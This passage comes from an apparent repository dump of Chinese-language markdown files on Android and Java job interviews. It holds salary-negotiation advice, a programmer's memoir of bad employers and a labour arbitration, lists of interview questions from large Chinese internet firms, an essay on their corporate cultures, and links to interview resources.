内存管理机制\n   - 一些常用的 list,map 原理，以及子类之间的差别\n3. 能进入第三轮基本没什么问题，但是要注意以下问题\n   - 该轮一般是 老大或者部门负责人，问的问题一般都看 深度与广度\n   - 当问及薪水的时候，要说一个合适的，小公司随意，大公司一定要慎重，当心里没底的时候，可以告诉对方，让对方给一个合理的薪资。一般都是在原工资基础之上增长，听猎头说一般涨幅都在15%-30%，超 NB 的可以要30%及以上，如果感觉自己还不错的，挺厉害的，建议最高20%，一般人就定在15% 左右最靠谱。公司内部一般有一套机制，根据公司情况而定。\n   - 我们的面试原则就是拿到合理薪资，得到 offer\n   - 个人发展情况，这个问题很难回答，如果和公司方向不符合，极有可能和公司无缘。建议多试探性的问问公司缺少什么，你能否给予公司对应的东西。当然对于有自我追求的人，那可以放心大胆的提。我的方向就是架构师，哈哈哈，挺极端的，别学我哦。我感觉选择都是双向的，因此我知道自己需要的是什么。\n   - 你最擅长什么UI 还是其他什么？这个问题更不好回答。你要说你擅长 UI，是不是意味着你其他能力就不行？虽然我不知道面试官的用意，但是我能感觉到，这个问题不是那么好回答，我会回答说自己都行，来什么业务接什么需求。可能回答不太好，总之和公司的职位吻合就行，这样总不至于出错吧。\n\n如果你有面试的疑问或者困惑，可以加我的微信公众账号:[mianshishuo](http://7xlcno.com1.z0.glb.clouddn.com/weixingdky005_mianshishuo.jpg), 可以扫描下方二维码，一起来吐槽面试中的感受。我将不定期分享最新的 Android 面试题与面试经验。也可以将你们的面试经验与问题发给我一同讨论，非常感谢。"
  },
  {
    "path": "docs/android/Android-Interview/经验分享/一个程序员的血泪史.md",
    "content": "我的第一份工作,是某某电力.\n\n求职过程很有意思:有一天辅导员有家国企严招聘,说都去看看;结果去了发现只有几个人在,一位大姐说:人都到齐了吗?那就开始吧.我介绍一下我们公司,你们愿意来的话,就填个表. 完全没有面试….就算是有了第一份工作.\n\n毕业后就去报到了,结果报到时间还没到…玩了几个月才又去.简单地培训了两个星期,做了一个安全生产知识的考试,就给所有人买了火车票,送到了四川一个偏僻的小山沟里.那里有一家火力发电场正在修建.\n\n初到这里,什么也没有.有一片正在修建的房子,刚盖好框架,封了顶,地面都还没有平整,这就是我们的宿舍.每人发了几百块钱,说,开车带你们去镇上买点生活用品吧(工地上有不少的大小货车).然后生活就这样开始了.\n\n规定的上班时间是8点到5点;天气非常热,经常只能在屋子里猫着.还好我们不需要天天下工地.有一段时间比较无聊,每天打游戏,但是没有网,只能打单机版的大菠萝.有的日子也经常需要加班赶进度,因为进入梅雨季度了施工就会受影响;但是我们这些质检岗位是帮不上忙的,我们的日子,是负责编质检报表,厚厚的报告拿过来手写上质检记录,反正师傅让这么填的,天知道有没有真正的检查过….\n\n工地上,一般是不允许夫妻同行的,整个工地上几乎全是一水的大老爷们.下了班,业余生活就基本可以用吃喝嫖赌来概括.当然,我们刚毕业的学生,也就只能参于一下吃,每天轮流着去小镇上少得可怜的几家餐馆去吃.\n\n老师傅们,除了吃喝,还赌.有时候通霄地打麻将.旷工就旷工呗,反正也不会怎么样.辛苦钱,还算可观,加上各种补贴,安全奖金啊,其实不算少.那两个月七七八八加起来是3500一个月,但是在这山里,基本没地儿花.当然,后来因为每天轮流请客大吃大喝,花光了.\n\n当然,还有嫖.谁谁谁去嫖了,基本不是新闻.没办法,没别的娱乐….\n\n到这里一个星期的时候,有天在外面吃完晚饭,有位师傅说,你们要不要我带你们去找个小姐?几个刚毕业的孩子吓尿了.\n\n打那后,我就决定要辞职.我觉得要不了几年,我就会成为这样一个人.\n\n于是,在工地上又呆了两个月,辞职了.\n\n在家玩了一段时间,春节过后,我带着仅剩的1000块钱来到了这个有着几千万人的大城市.(我打肿脸充胖子,给了家里一点钱…)\n\n不再是电焊质检工程师,我的新职业是PHP工程师,月薪2500.买了火车票,还剩下700块.住在一个380一个月的地下室.然后中午在公司吃,早晚都吃那种北京的一块钱的大饼,当时感叹,北方的大饼真大啊….\n\n来了没多久,老板说要招人,一直没招着.我想起有一个兄弟,因为没有拿到毕业证,还呆在学校旁边,没有正经找工作,好像呆在一个什么地方打杂,一个月500.我说,把他招过来吧.然后就是哥俩一起住地下室.\n\n公司很小,偶尔会晚一点发工资.有一天,有个人离职,走的时候对老板哭着说,我500块的时候就跟着你干 ,干了3年,没要求地啥,你给我什么? 那之后不久,我也换了一家公司.\n\n这次换了之后,看起来公司会靠谱一点,因为有某知名网站的CTO坐阵.但是那时候显示鉴别水平太低了…这段时间里其实一直被教育,你的努力,老板看得见.但是事实是,老板看见了,就只会开心一下而已,又能怎么样呢….我从来没想过为自己争取点什么.\n\n新的公司,老板同时还有房地产业务和广告公司业务.租的地方很宽敞的样子,搞了个神秘气派的会议室,三天两头拉着据说是政府高官来开会,老板也总是一幅指点江山的样子,说是在通州弄了片地搞开发,但从没见过有啥进展.广告公司呢,好奇葩,是个清华美女负责的,是老板的…小三.\n\n广告公司在18楼,有几个设计师,我认识一个,高高瘦瘦的男孩,我悄悄打听了一下,他的月薪是….1400!\n\n后来的离开也有戏剧性,有一天快下班时候,来了几个警察,有几个律师来了.原来是有老板们的分歧,都说公司是自己的,要我把服务器代码复制出来交出来,要是交给另一方的话,要告我侵占公司财产….\n\n得,我写个代码还要写进监狱啊,那我辞职还不好吗…..\n\n我又失业了.\n\n这次,我一定要找个更靠谱的人介绍个工作.\n\n所以,我找了一个我认识的某知名博客网站的php开发经理介绍,当时他刚刚要离开,去南京创办一家在线旅游网站(没几年就美股上市了)\n\n大牛介绍的工作,从名字上绝对靠谱,是某某电视台的网络中心.在农村小镇,你要说你是这电视台来的啊,镇长马上得来请你吃饭.\n\n面试过程也简单:你是介绍过来的呀,那不用面了.你期望月薪多少?8000?好吧,没问题,现在还在职吗?不在职?那你下周一就来吧.\n\n入职是在月底了,没过几天,有个妹子拿了个表过来登记身份证号,然后两天后就发了5000块钱现金.我心想,这国家单位就是不一样啊….我才上了几天班,就发钱了… 没几个月我就知道,这是劳务费.我们根本不属于编制人员.编制,是在这个单位的生命线.有编制,你就不用干活,有活让外包做就行了.几乎每周都有各种公司来讲方案,而编制类的老大们就只是做决定,买哪个系统. 这里做点事很难.会议很多,效率很低,很讲究级别.有个会议,一个总监没空去,叫一个下属去代开.进门就被轰了出来:你什么级别啊,这是你能来的会吗?\n\n当时是离奥运还有一年四个月,我们的工作就是上线一个相关的站点,要在离奥运一年前上线.还好时间快到的时候,上线了.\n\n接下来的几个月,一直没有发工资,连劳动合同也没有,当然,这之前两家也都没有.期间问了几次,但没答复.有次问急了,就安排去一个考试,还是北京人事局组织的,我没考不过,因为考的是政治和英语.没有英语专八和考研辅导是没指望的.\n\n我和那个登记身份证的妹子熟了起来.我问她,你发工资了吗?她说,这几个月还没有呢,我算实习.我大学在比利时上的,这边不认.所以我只能在这实习,好把档案挂这.我说,那一个月多少钱?200. 我目瞪口呆.依你开的车,200就够养一天吧? 妹子说,我来上班是为了有点事情做,也不是为了钱.\n\n好吧,你家住王府井,你开A6上班,我可不是,我老家房子都摇摇欲坠随时要塌了,我上班做事就是为了钱.\n\n我打电话给当时负责的大部分的老大,我诚恳地希望能结一部分钱.他在电话里说,你不是在找人打听吗?听说你不是要走吗?你牛B你就走啊? 我录了音,但后几年之后觉得已经没什么必要了.丑陋的人到处有,犯不着揭开那些不痛快的记忆.\n\n我决定去申请劳动仲裁. 我问那位大哥,你介绍我过去,我去申请劳动仲裁,会对你有什么不好的影响吗? 他说,你放心去吧,干活拿钱,天经地义.\n\n其实,我也没啥选择,人总得吃饭.要不然我怎么办,兜里没钱了,难道滚回老家去种地吗?\n\n2007年,我在劳动局大厅犹豫了5分钟,在想,要不要问问,我可不可以满足那个”农民工免仲裁费”的条件呢?\n\n一个月后,开庭. 我见识了各种无赖的狡辩.比如说,现在说,他是实习生,实习生没有工资(已经毕业的就不再是实习生了),现在已经过了60天的诉讼时限了(完幸书记官看了一下日历,我提交材料的时候刚好是第60天).\n\n我已经忘了是当庭宣布了结果还是后来通知了. 只记得,是电视台的法务通知我去找财务领钱.去的时候各种忐忑,心想平时找各位头们可是千辛万苦, 这次能顺利吗?\n\n还好,财务已经等在那里,数完钱,签字走人. 回来后,法务打电话给我,很生气,不想见你. 我心里想,我已经不生气了,我再也不想和贵台有任何交集.\n\n这次之后,我终于换到了一家靠谱的外企,虽然没几年他也从中国互联网中出局了.\n\n记我那些可怕的职业经历.\n\n原文链接：http://blogread.cn/it/article/7712?f=wb"
  },
  {
    "path": "docs/android/Android-Interview/经验分享/互联网公司面试经验总结.md",
    "content": "这是一位攻城狮面试了近十家互联网公司总结下来的经验之谈：\n\n我现在主要的方向是Java服务端开发，把遇到的问题和大家分享一下，也谈谈关于技术人员如何有方向的提高自己，做到有的放矢。\n\n面试遇到的问题\n\n## 1. 百度\n\n百度最近真是炙手可热，贴吧事件刚结束，医疗竞价排名又闹得沸沸扬扬，一些论坛上连带程序员都开始招黑了，友谊的小船可是说翻就翻。\n\n说回面试，百度面了两次，分别是百度糯米和金融事业部，百度目前只有这两个部门的招聘岗位和我比较匹配。面试都在西二旗的百度新总部，园区还在施工，离地铁也比较远，需要打车过去。\n\n面试官自带电脑，整个面试过程都在记录，首先详细询问了最近一份工作项目的架构和工作内容，面试主要围绕工作中用到的组件和中间件技术来扩展，考察掌握程度。\n\n> MySQL InnoDB存储的文件结构\n>\n> 索引树是如何维护的？\n>\n> 数据库自增主键可能的问题\n>\n> Redis的并发竞争问题如何解决了解Redis事务的CAS操作吗\n>\n> **分析线程池的实现原理和线程的调度过程**\n>\n> 动态代理的几种方式\n>\n> Spring AOP与IOC的实现\n>\n> 为什么CGlib方式可以对接口实现代理？\n>\n> RMI与代理模式\n>\n> Dubbo的底层实现原理和机制\n>\n> 描述一个服务从发布到被消费的详细过程\n>\n> **算法方面考察了一个简单的数组就地去重问题，用丢弃数组尾部元素的方式实现**\n\n百度金融的面试安排在了周六，最近应该在各种扩张，各个招聘网站随处可见招聘启事。一面面试官很赞，态度认真，有些问题没有思路会给你提示，交流的不错，二面被告知缺少金融支付背景，不过作为一名工作不到两年的新人，我觉得被Pass主要原因应该是工作经验比较少，教育背景也不太亮眼。\n\n> **分布式系统怎么做服务治理**\n>\n> 接口的幂等性的概念\n>\n> Maven出现版本冲突如何解决\n>\n> JVM垃圾回收机制，何时触发MinorGC等操作\n>\n> 新生代和老生代的内存回收策略\n>\n> Eden和Survivor的比例分配等\n>\n> Synchronized和Lock的区别\n\n两次面试，感觉百度的流程比较严格，面试官挺不错的，简单可信赖，虽然工作中一般都用谷歌。\n\n**这是一个段子：**\n\n有次面百度，我提到了一个比赛，面试官很感兴趣，想搜一下，于是先用百度搜了一下关键字，首屏没有找到，面试官面不改色，熟练的打开了谷歌输入关键字，发现第一个就是官方网站。\n\n![阿里、百度、搜狐、优土等互联网公司面试经验总结](http://p1.pstatp.com/large/7cc000a7a6bb6caa191)\n\n## 2. 阿里巴巴\n\n在内推网上收到了阿里菜鸟和阿里云安全部门的面试，后来参加了阿里云的面试。阿里的面试安排的很快，这次止步二面，两轮面试都是电面。听朋友说阿里五轮面试，四轮技术一轮HR，技术面试是部门的几个同事交叉面试，也有了了解。\n\n一面总体上还是围绕项目架构、Java基础、JVM、并发编程、数据库操作、中间件技术和Dubbo服务治理框架等展开，\n\n可能因为是云安全部门，有一半时间在考察JVM，还提问了一些编译优化的知识，一面结束后很快安排了二面，相对一面，二面的问题更深入，问题比较刨根问底，更加注重对一些技术细节的理解和把握。\n\n比如数据库操作，面试官会详细的问你数据库插入和删除一条数据的过程在底层是如何执行的，项目里配置了读写分离，也会比较深入的就实现方法和底层逻辑展开讨论。\n\n> JVM内存分代\n>\n> Java 8的内存分代改进\n>\n> 深入分析了Classloader，双亲委派机制\n>\n> JVM的编译优化\n>\n> 对Java内存模型的理解，以及其在并发中的应用\n>\n> 指令重排序，内存栅栏等\n>\n> HashMap的并发问题\n>\n> 了解LinkedHashMap的应用吗\n>\n> 在工作中遇到过哪些设计模式，是如何应用的\n\n阿里的岗位大都在杭州，面试结束特意关注了一下那边的生活成本，目前杭州房子均价不到两万，相比浙江一些县市的房价都破两万，杭州的房价应该比较正常。如果拿到阿里和网易等几家互联网公司的高薪，买房和生活的确比北京要轻松很多，果断决定再沉淀一段时间，两年后P7再战。\n\n![阿里、百度、搜狐、优土等互联网公司面试经验总结](http://p3.pstatp.com/large/7cb000a778f5ef71be1)\n\n## 3. 优酷土豆\n\n优酷的面试都是二对一，每轮面试两个面试官，一面比较顺利，主要是Java基础，Spring原理，Java NIO，并发和集合框架等，可能是因为视频网站，优酷考察网络原理的知识多，比如TCP/IP协议、长连接与短连接等。\n\n一面提到了自己可能会在下半年学习大数据与机器学习相关的知识，二面就在这上面栽了跟头，问了很多海量数据的问题。\n\n> TCP/IP协议\n>\n> 长连接与短连接\n>\n> mapreduce过程\n>\n> 多路归并的时间复杂度\n>\n> 海量url去重类问题\n>\n> Java NIO使用\n>\n> 倒排索引的原理\n>\n> 对分词技术的了解\n\n面试中给了一个具体场景，考察对MapReduce过程的理解，比如Map阶段和Reduce阶段是如何进行的等，Reduce阶段面试官希望分析给出一个多路归并的时间复杂度，用外排序的知识简单分析了一下，回答的不太好。回来以后搜索了胜者树和败者树的优化，发现这里面的内容还挺多，深刻体会到有些知识点如果平时掌握的不够全面深刻，很难信手拈来。\n\n![阿里、百度、搜狐、优土等互联网公司面试经验总结](http://p3.pstatp.com/large/7e6000a69e9e79e1707)\n\n## 4. 搜狐新闻\n\n搜狐最近应该是没有招聘计划，面试等待时间比较长。做了笔试题，一面是个和我年纪相仿的面试官，针对笔试和简历提问了一些基础问题，聊得挺投机，二面技术经理就比较偏架构和中间件的应用，提问了项目，主要考察了服务治理和消息队列等中间件使用的问题：\n\n> 消息中间件如何解决消息丢失问题\n>\n> Dubbo的服务请求失败怎么处理\n>\n> 重连机制会不会造成错误\n>\n> 对分布式事务的理解\n>\n> 深入分析几个设计模式\n\n面试最后提问了一个不定长字符串转为定长字符串的问题，刚刚面过优酷，这个简单的问题被我想复杂了，没有Get到面试官的点，考虑了唯一性、性能等，扯了一大堆。也提醒一下大家，面试过程中要保持清醒，不要有思维定式，除非是底层研发岗位，社招对算法的考察不会特别难，用正常的思路去解决就可以。\n\n![阿里、百度、搜狐、优土等互联网公司面试经验总结](http://p3.pstatp.com/large/7d2000a7b8dcc157082)\n\n## 5. 58赶集\n\n58总部在798附近，全天有班车可以过去。总体上，感觉面试官的问题非常接地气，三轮技术面，大部分是实际场景的算法和系统设计类问题：\n\n> HTTP请求的报文格式Spring的事务实现原理\n>\n> 实际场景问题，大量用户数据如何在内存中排序和去重\n>\n> 缓存机器增删如何对系统影响最小，一致性哈希的实现\n>\n> Redis持久化的几种方式\n>\n> Redis的缓存失效策略\n>\n> 实际场景问题解决，典型的TOP K问题\n>\n> 实际场景问题，海量登录日志如何排序和处理SQL操作，主要是索引和聚合函数的应用\n\n三面面试官提问了一些优点和缺点的自我评价类问题，简单交流以后对我给出了一些中肯的建议，非常感谢。\n\n![阿里、百度、搜狐、优土等互联网公司面试经验总结](http://p3.pstatp.com/large/7cc000a7a6fea4521b9)\n\n## 6. 国美在线\n\n国美在线面试最开始是部门经理沟通，在知道我毕业不满两年以后，重新去做了一份笔试题，主要考察Java基础，数据库，设计模式以及数据结构，要求写出B-Tree的节点结构，算法题目是一道等概率抽奖的题目，用蓄水池抽样算法解决了。\n\n> SQL语句编写\n>\n> MySQL的几种优化\n>\n> Spring行级锁\n>\n> Spring衍生的相关其他组件整理\n>\n> RMI的几种协议和实现框架\n>\n> BTree相关的操作\n>\n> 数据库锁表的相关处理\n>\n> 考察跳台阶问题\n\n和面试官的交流比较轻松，面试官提示我要加强数据库操作的掌握，另外面试过程中询问了一些工作中用到框架和组件的版本等细节问题，平时没太关注，\n\n后来思考了一下，对开源组件的应用，版本的管理很重要，不注意可能会发生一些诡异的问题。\n\n## 7. 去哪儿网，口袋购物等公司\n\n除了上面的公司，还参加过去哪儿网、口袋购物、链家等几家公司的面试。去哪儿网中规中矩，口袋购物的工作环境非常不错。链家网最近有新浪的鸟哥加入任技术总监，在IT圈子里挺火，面试了链家旗下的两个租房部门，技术氛围不错。\n\n几家公司的模式和问题都类似，注重对基础和编程能力的考察，以及对分布式系统设计和架构的理解。值得一提的是一家创业公司的面试，过程十分简单粗暴。没有自我介绍，面试官看完简历就在白板上提了一个多线程调度问题，递过来MAC就开始敲代码。\n\n写完以后我表示这题目意义不大，问了Redis，要求十五分钟实现一个LRUCache，再次现场写代码。写到一半面试官看没问题就打断了，问对公司有什么想了解的，等了一会让我回去了，就这么被Pass，创业公司效率果然高。\n\n![阿里、百度、搜狐、优土等互联网公司面试经验总结](http://p3.pstatp.com/large/7d4000a75f8b6f42a85)\n\n面试中要保持清醒，比如被问到十万个ip段查找这个问题，首先是一个典型的查找问题，明确了这个，就可以针对性的选择相关的算法实现，如二分查找、二叉查找树等。推荐画图表达的方式，做过的项目架构，各种框架和中间件的设计实现，通过画图的方式都可以很好的阐述，可以随身带着纸和笔，面试本来就是一次很好的学习过程，一些问题也可以记录下来。\n\n一般来说，面试过程类似一个寻路算法，交流过程中如果提到了面试官感兴趣的某一点，就会就这个点展开，然后一直提出问题到你不能回答为止，或者你特别牛在这个领域直接秒杀面试官，这样一条路线走通，再换下一条路线。\n\n攻城狮如何用正确的姿势提高技术水平\n\n![阿里、百度、搜狐、优土等互联网公司面试经验总结](http://p2.pstatp.com/large/7d4000a75f9d87e03cf)\n\n一般来说，主流互联网公司都在用的就是业内比较成熟和流行的技术，最简单的方式就是看招聘要求，虽然大部分公司的Job Description都有抄袭的嫌疑，但是多比较几个招聘，还是可以了解主流互联网公司的技术方向。下面是从从拉勾上找的几个招聘要求：\n\n**百度核心业务部门：**\n\n![阿里、百度、搜狐、优土等互联网公司面试经验总结](http://p3.pstatp.com/large/7cb000a7792a53ebf28)\n\n**阿里巴巴：**\n\n![阿里、百度、搜狐、优土等互联网公司面试经验总结](http://p3.pstatp.com/large/7cc000a7a71e30f9afa)\n\n**美团酒店事业部：**\n\n![阿里、百度、搜狐、优土等互联网公司面试经验总结](http://p3.pstatp.com/large/7cc000a7a72c1504748)\n\n既然是社招，工作经验是必须的，三年以上最好，上面的几个JD里也体现了。然后是技术方面，结合自己的体会，总结下面几点：\n\n## 基础知识必须要扎实\n\n语言基础，计算机基础，算法和基本的Linux运维等\n\n针对Java语言，需要对集合类，并发包，IO/NIO，JVM，内存模型，泛型，异常，反射等都有比较深入的了解，最好是学习过部分源码。这些知识点都是相通的，在面试中也可以体现。\n\n从源码的角度，可以深入到哈希表的实现，拉链法以外的哈希碰撞解决方法，如何平衡内部数组保证哈希表的性能不会下降等；\n\n从线程安全的角度，可以扩展到HashTable、ConcurrentHashMap等其他的数据结构，可以比较两种不同的加锁方式，RetreenLock的实现和应用，继续深入可以考察Java内存模型，Volitale原语，内存栅栏等；横向扩展可以考察有序的Map结构如TreeMap、LinkedHashMap，继而考察红黑树，LRU缓存，HashMap的排序等知识。\n\nJava方向的中高级职位，会比较重视对虚拟机的掌握，诸如类加载机制，内存模型等，这些在程序的优化和并发编程中都非常重要。\n\n算法方面，基本的排序和查找算法，对递归，分治等思想的掌握。如果算法基础不太好，推荐《编程珠玑》等，每一章都很经典。\n\n计算机基础方面，比如TCP/IP协议和操作系统的知识也是必备的，这些都是大学计算机专业的基础课，也是做开发基本的素养。\n\n## 系统设计能力\n\n设计模式，造轮子的能力，各种缓存和数据库应用，缓存，中间件技术，高并发和高可用的分布式系统设计等。\n\n大型互联网公司每天要面对海量的请求，都会考察分布式系统的架构和设计，如何构建高并发高可用的系统。另外因为用户基数比较大，一个细微的优化可能会给带来很大的收益，所以对一些技术栈的掌握要求都比较深入。比如对MySQL数据库，需要知道相关的配置和优化，业务上来以后如何分库分表，如何合理的配置缓存，一个经验丰富的服务端开发人员，也应该是一个称职的DBA。\n\n对常用的开发组件，比如中间件，RPC框架等都要有一定的了解，虽然工作中可能用不到我们自己造轮子，但是掌握原理才会得心应手。这部分知识主要靠工作积累，推荐《大型网站技术架构与Java中间件实践》，还有曾贤杰的《大型网站系统架构与实践》，里面对大型网站的演变，服务治理和中间件的使用做了很详细的阐述。\n\n作为业务开发人员，有必要了解压力测试相关的指标，比如QPS，用户平均等待时间等，可以帮助你更好的了解自己的系统。\n\n## 软性指标\n\n快速学习，良好的沟通能力，以及对相关行业的了解。\n\n公司招聘会比较看重一个人的学习能力，是不是值得培养，很多公司校招的毕业生薪资会倒挂工作多年的老员工，也是这样。像沟通习惯，逻辑分析能力，这些都属于软实力，短时间内很难提高，需要长期的养成和持续不断的投入。好多公司还会看重所在行业，虽然是做业务，但是对产品和行业的了解也很重要。比如互联网金融类公司的岗位，如果有过支付和银行相关的系统开发经验肯定会有加分，这点和每个人的长期规划有关。\n\n有了方向，接下来就是如何提高，说一些自己的感想。\n\n很多时候，除非你的工作内容就是要应对高并发，海量用户等场景，否则通过加班或者说重复性的工作，其实很难有提高。技术人员最直接的提高方式，还是需要跳出来，在工作以外审视自己，比如广泛的阅读技术书籍，多去论坛和各路牛人交流，了解主流互联网公司的技术栈，有针对性的去学习和了解。同时也可以适当的了解一些产品或者设计的知识，以点带面，复合人才肯定更受欢迎，对待面试，要像和妹子约会一样，表现自己平常的一面就可以了。"
  },
  {
    "path": "docs/android/Android-Interview/经验分享/互联网巨头BAT3内部员工的真实状况.md",
    "content": "【导读】在中国互联网竞争加剧，让巨头们对用户的竞争很激烈，对人才的竞争更激烈。中国4家市值超过100亿美元的互联网巨头公司BAT3，对待员工的方式，以及组织架构都各有不同，因此造成了各自风格鲜明的企业文化，究竟巨头内部员工生活工作状态如何，是什么原因造成这种情况的，值得我们实地考察一番。本文整理自“每日CEO说”。\n\n![](https://img1.doubanio.com/view/note/large/public/p9627597.jpg)\n\n阿里巴巴员工：我感觉我是在为自己做事，不是为公司\n\n王小炜(虾米网创始人，原阿里巴巴员工)：阿里巴巴有强大的HR体系，我目前我在国内看到效率最高的体系。整个HR体系几乎每一件具体的事情都有办法和具体落实的流程，具体到战略怎么制订，目标怎么样分解，考核的指标定的是不是准确等，这都是HR的事情。而对于人的方面所有的业务主管，基本上业绩只占到我们的50%，有30%是团队，还有20%是文化。\n\n阿里巴巴是所有互联网巨头中最喜欢给员工灌输价值观、营造企业文化的公司。“江湖”传言阿里的人，工程师都被洗脑，很多猎头也表示阿里的人最难挖。马云一直强调要有自己的DNA，同时也强调value的重要性，同时有一句话让人关注，一万人的believe就是信仰。他能把自己的梦想和价值观源源不断地灌输给你，用其“扭曲磁场”使得你产生认同并与之共同努力。对于不懂技术的领导者而言，他不会跟你坐下来讨论技术问题或者产品问题，他更像是一种精神存在，一盏指明灯，告诉你要往哪里走。这样的文化收获了什么?某位阿里员工表示：“阿里巴巴也没有宗教式的崇拜，我们崇拜的是自己，崇拜自己的事业。”阿里员工难挖，很重要的一点是因为他们认为在阿里是在为自己做事情，当然，阿里巴巴工资高也是不争的事实。\n\n百度员工：推崇狼性，公司内部压力太大\n\n3B大战之后，百度在内部反思中提出要推广狼性文化，要求员工要以结果导向。百度一些老员工说，“在百度比较怕的是新人，老员工和新员工永远在一个起跑线上在竞争，论功劳，不论苦劳，优秀人才可以不拘一格地被提拔上去。对于新人而言，这是一个很好的竞争环境;然而对于老员工而言，来自内部的竞争压力未免也太大了。”\n\n对于竞争激烈的互联网公司而言，提倡狼性文化完全无可厚非，但是这种狼性应该体现在对问题的处理、竞争对手争夺中，要干劲求结果;对内部也狼，就很不人性了。百度的狼性文化让所有员工都保持了一颗时刻学习的心，也把很多老员工推向了竞争对手的怀里。\n\n360员工：进公司容易出去难\n\n某位360在职员工表示，在360：“做错了不会被开掉，甚至由于管理机制的松散也不会被记录在案，但一顿痛骂是在所难免的。这种暴力的风格像病毒一样自上而下传下来，每一级的Leader都被深深传染，大家都充满戾气，对下属犯的哪怕很小的错误都很容易大发雷霆、说脏话、拍桌子甚至摔东西。除了周鸿祎身边的极少数人，其他人都时常被骂得狗血喷头，颜面扫地。”\n\n不过，360也有很多优点，否则早就招不到人了。360跟水浒梁山很像的一点还在于：即便你是小喽啰，也可能天天看到宋江——周鸿祎。该员工还表示：“360的上级会像家长那样，对个人表现出极大的关心，老周会突然跑到你身后看着你的电脑屏幕拍拍肩膀问你最近怎么样?离开时随手拿起你桌上的零食边走边吃。”如果你觉得这是老周信任你的表现，那你可就大错特错了。因为“周鸿祎则压根儿就从来没信任过底下人，对总监以下(包括任职期限不长的很多总监)都是进行信息屏蔽的。”\n\n在这样的文化下，新人可能因为周鸿祎突然的一个问候产生有存在感，也可能因为一次狗血淋头的批骂而甩手走人。新人可以随时打破规则与流程做出成绩，但是一年多以后就会因为信任天花板感到迷茫。而当你迷茫想走时，梁山泊的特质再一次显现了：“任何一个员工要跳槽都要经过几道关口的反复盘问，一直要谈到齐向东，如果在比较重要的岗位，周鸿祎会亲自约谈。去哪里?为什么要走?对什么不满?待遇提高一些是否愿意留下来?如果发现你是要去竞争对手阵营就会更难放行。如果你是真的不喜欢这里或有非常好的选择决意离开，就会非常麻烦。据说需要签很多约束性文件，让你感到跳槽风险很大，弄得就像离一次婚一样，麻烦到让你最后放弃跳槽为止。”\n\n腾讯员工：注重对我的培养，却不懂得如何留住我\n\n曾就职于腾讯的董先生说：“腾讯内部环境氛围都不错，待遇上也不错，整体员工素质也很高。”在腾讯的企业文化里，对员工的发展坚守的是“重视员工成长”，如果你是毕业生，在腾讯的工作幸福度将会非常高。原因是“你可以参加新生培训，同时还可以接触到强势的平台资源。大量的新人虽然是刚刚毕业做产品，哪怕全新做一个产品，在QQ tips和其他交叉推广资源的拉动下瞬间用户量过百万那是常事。这样的成就感是在其他公司比较难享受到的。”\n\n问题是：对于新人而言，腾讯的架构太成熟了，在这里个人的价值被平台价值掩盖，因此不少新人还是会选择离开腾讯，原因很简单，在这找不到自己曾经梦想的那种激情。 于是，新人刚刚成熟后，也想要离职;但是对比360的层层盘问，在腾讯想走人则轻松的多。董先生他的领导重金挖过来的人才，但是在最后的离职面谈中，HR更像是例行公事，并没有做深入沟通。这样一来，腾讯花在员工培训上的成果很可能是为他人做嫁衣裳。因此，腾讯的企业文化看起来很好，但是如何落到实处很重要。"
  },
  {
    "path": "docs/android/Android-Interview/经验分享/史上最全 Android 面试资料集合.md",
    "content": "![](img/面试.jpg)\n\n最近看到很多人都在找工作, 而且很多人都感觉今年找工作比去年难很多, 竞争力也增加不少, 因此激发我整理这份资料, 希望能帮到正在找或者准备找工作的童鞋们.\n\n首先我们能否获得一个面试机会, 那肯定是从简历开始, 简历需要做好功夫, 一份好的简历才足够吸引企业得到面试机会, 接着就是面试了, 面试前必须要先做好准备, 多看一下前辈们总结面试题, 有哪一方面不足的地方赶紧补充一下, 还有要了解一下你即将面试那家公司.\n\n> 感谢[@Android开发日常](http://weibo.com/AndroidDevDaily)(专注分享 Android 优质开源项目以及高质量开发资料) 支持\n\n### 教你写简历\n\n- [你真的会写简历么?](http://mp.weixin.qq.com/s?__biz=MzA4NTQwNDcyMA==&mid=402970472&idx=1&sn=b9738c66fb5750c2515d57357c01a83f&scene=21#wechat_redirect)\n- [80% 以上简历都是不合格的](http://j.codekk.com/blogs/detail/5705bcdf4a38205862ef4770)\n- [推荐两个技术简历模板](http://j.codekk.com/blogs/detail/5705bcdf4a38205862ef476f)\n- [精益技术简历之道——改善技术简历的 47 条原则](http://lucida.me/blog/lean-technical-resume/)\n- [关于程序员求职简历](https://mdluo.github.io/blog/about-resume/)\n- [程序员简历模板列表](https://github.com/geekcompany/ResumeSample)\n\n### 面试题\n\n- [国内一线互联网公司内部面试题库](https://github.com/JackyAndroid/AndroidInterview-Q-A)\n- [Android 开发工程师面试指南](https://github.com/GeniusVJR/LearningNotes)\n- [一个五年 Android 开发者百度, 阿里, 聚美, 映客的面试心经](http://gdky005.com/2016/07/08/%E4%B8%80%E4%B8%AA%E4%BA%94%E5%B9%B4Android%E5%BC%80%E5%8F%91%E8%80%85%E7%99%BE%E5%BA%A6%E3%80%81%E9%98%BF%E9%87%8C%E3%80%81%E8%81%9A%E7%BE%8E%E3%80%81%E6%98%A0%E5%AE%A2%E7%9A%84%E9%9D%A2%E8%AF%95%E5%BF%83%E7%BB%8F/)\n- [整理常见 Android 面试问题](https://github.com/leerduo/InterviewQuestion)\n- [2016 Android 某公司面试题](http://yuweiguocn.github.io/2016/04/13/interview-2016-big-company/)\n- [面试后的总结](http://kymjs.com/code/2016/03/08/01/)\n- [Android 面试题整理](http://www.jianshu.com/p/a22450882af2)\n- [Android interview questions for 2-5 yrs experienced](http://androidquestions.quora.com/Android-interview-questions-for-2-5-yrs-experienced)\n- [Android interview questions](http://androidquestions.quora.com/Android-interview-questions)\n- [40 个 Android 面试题](http://www.devstore.cn/essay/essayInfo/7195.html)\n- [Android 名企面试题及涉及知识点整理](https://github.com/Mr-YangCheng/ForAndroidInterview)\n- [亲爱的面试官，这个我可没看过！（Android部分）](http://www.jianshu.com/p/89f19d67b348)\n\n### 做题\n\n看完面试题之后那就来做一下面试题目吧, 目前找到两个网站\n\n- [SillGun](http://skillgun.com/android/interview-questions-and-answers)(国外网站, 自备梯子)\n- [牛客网](http://www.nowcoder.com/)\n\n### 聊面试\n\n[(帅张)stormzhang](http://stormzhang.com/) 跟你谈一下面试那些事儿\n\n- [面试时企业最看中你什么能力?](http://mp.weixin.qq.com/s?__biz=MzA4NTQwNDcyMA==&mid=2650661810&idx=1&sn=f8c1ca67527459db3189a978f0e44cef&scene=23&srcid=08101MZAPzGR1MC1C577enim#rd)\n- [我面试到底问什么?](https://zhuanlan.zhihu.com/p/21343656?refer=stormzhang)\n- [Android 